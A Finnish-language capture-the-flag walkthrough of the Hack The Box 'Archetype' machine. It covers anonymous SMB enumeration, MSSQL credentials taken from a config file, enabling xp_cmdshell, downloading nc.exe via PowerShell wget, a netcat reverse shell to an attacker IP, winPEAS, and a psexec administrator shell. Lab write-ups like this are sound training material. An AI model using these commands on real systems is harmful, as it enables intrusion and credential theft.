Huom. kohteen ja oma tun0 IP-osoitteet vaihtuvat tehtävässä, koska harjoitusta tehty eri kerroilla.
User flag
Nmap skannauksesta huomataan, että kohteessa portit 135, 139, 445 ja 1433 ovat auki. Avoimien porttien palveluiden versioista huomataan, että kyseessä on Windows kone. SMB (Server Message Block) -portit 139 ja 445 ovat avoinna. Microsoft SQL Server 2017 on käynnissä portissa 1433.
Koska kohteessa on SMB käynnissä, käytetään avuksi työkalua Smbclient komennolla: smbclient -N -L {TARGET_IP}
Komennossa -N: ei salasanaa, -L: mahdollistaa tarkastella palvelimen käytettävissä olevia palveluita.
Löytyi neljä hakemistoa: ADMIN, backups, C ja IPC. Yritetään päästä backups -hakemistoon komennolla:
smbclient -N {TARGET_IP}/backups.
Backups -hakemistosta löytyi tiedosto prod.dtsConfig. Ladataan tiedosto komennolla:
get prod.dtsConfig
prod.dtsConfig tiedostosta näkyy rivi Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc
Eli käyttäjän sql_svc salasana M3g4c0rp123 hostille ARCHETYPE
Löydetyillä käyttäjätiedoilla voidaan yhdistää MSSQL palvelimelle.
Hyödynnetään Impacket-työkalua, joka sisältää skriptin mssqlclient.py
Komennolla: python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth ja aiemmin löydetyllä salasanalla M3g4c0rp123 saatiin onnistuneesti yhteys Microsoft SQL-palvelimelle.
Otetaan xp_cmdshell käyttöön komennoilla: enable_xp_cmdshell; ja RECONFIGURE;
Komennolla: xp_cmdshell “whoami” suoritetaan komentokehotteessa komento “whoami”.
Reverse shell saadaan otettua Netcat ohjelman avulla. Käytetään avuksi nc.exe binääriä, joka löytyi jo valmiiksi Kali Linuxista. Menty sijaintiin, jossa nc.exe tiedosto on ja käynnistetty Python HTTP-palvelin porttiin 80 komennolla: sudo python3 -m http.server 80
Toisessa komentokehotteessa käynnistettiin netcat kuuntelija komennolla:
sudo nc -lvnp 443
Kohdekoneseen halutaan siirtää nc.exe binääri kansioon: C:\Users\sql_svc\Downloads
Tähän käytetään Powershelliä ja täsmennetään -c lisäoptiolla Powershell suorittamaan komento. Wget:n avulla siirretään omasta koneesta nc.exe binääri. Käytetään komentoa:
xp_cmdshell “powershell -c cd C:\Users\sql_svc\Downloads; wget http://{Your_tun0_IP}/nc.exe -outfile nc.exe”
Kuvasta huomataa virhe: wget : Unable to connect to the remote server. Lisäksi Python HTTP-palvelimelle ei tullut riviä, että nc.exe on siirretty kohteeseen. Kokeiltu Kali Linuxissa käynnistää http-palvelin eri portteihin kuten 8000 ja 8080, mutta sama virheilmoitus tuli silti.
Edit: ongelmana oli, että Kali Linuxissa oli UFW päällä.
Vaihdettu Hack the Boxin Pwnbox instanssiin ja tehty sillä samat toimenpiteet, lukuunottamatta HTTP-palvelin käynnistettiin porttiin 8000 ja yhdistäminen onnistui. HTTP-palvelimelta nyt nähdään kohteen IP-osoite, ja että pyyntö siirtää nc.exe kohdekoneeseen suoritettiin.
Sidotaan cmd.exe Netcatin avulla kuuntelijaan komennolla: xp_cmdshell “powershell -c cd C:\Users\sql_svc\Downloads; .\nc.exe -e cmd.exe 10.10.15.84 443”
Netcat kuuntelijasta huomataan, että onnistuneesti saatu reverse shell ja yhteys kohdekoneeseen.
User flag löytyi työpöydältä tiedostosta user.txt. Tiedoston sisältö luettu komennolla more user.txt
Root flag
Järjestelmänvalvojan käyttäjätietojen hakemiseen kohteesta käytetään työkalua winPEAS. winPEASx64 ladattu hyökkäyskoneesen ja käynnistetty tiedoston sisältävässä hakemistossa HTTP-palvelin porttiin 8000.
Käynnistetty reverse shellissä PowerShell ja komennolla: wget http://{Your_tun0_IP}:port/winPEASx64.exe -outfile winPEASx64.exe siirretty winPEASx64.exe kohdekoneelle.
winPEASx64.exe tiedosto suoritettu kohdekoneessa komennolla: .\winPEASx64.exe
WinPEAS värikoodaa punaiseksi rivit, joita on syytä tarkistella tarkemmin. Tiedosto ConsoleHost_history.txt sijainnissa C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ sisältää PowerShell historian.
Avataan tiedoston ConsoleHost_history.txt sisältö komennolla: more C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Tiedostosta löytyy administrator käyttäjän salasana MEGACORP_4dm1n!!
Käytetään Impacket-työkalun skriptiä psexec.py, jotta saadaan shell administrator käyttäjänä kohteeseen. Käytetään komentoa: python3 /usr/share/doc/python3-impacket/examples/psexec.py administrator@{TARGET_IP}
Syötetään käyttäjän administrator salasana MEGACORP_4dm1n!! ja onnistuneesti saatiin yhteys.
Polusta C:\Users\Administrator\Desktop löytyi tiedosto root.txt, joka sisältää root flagin.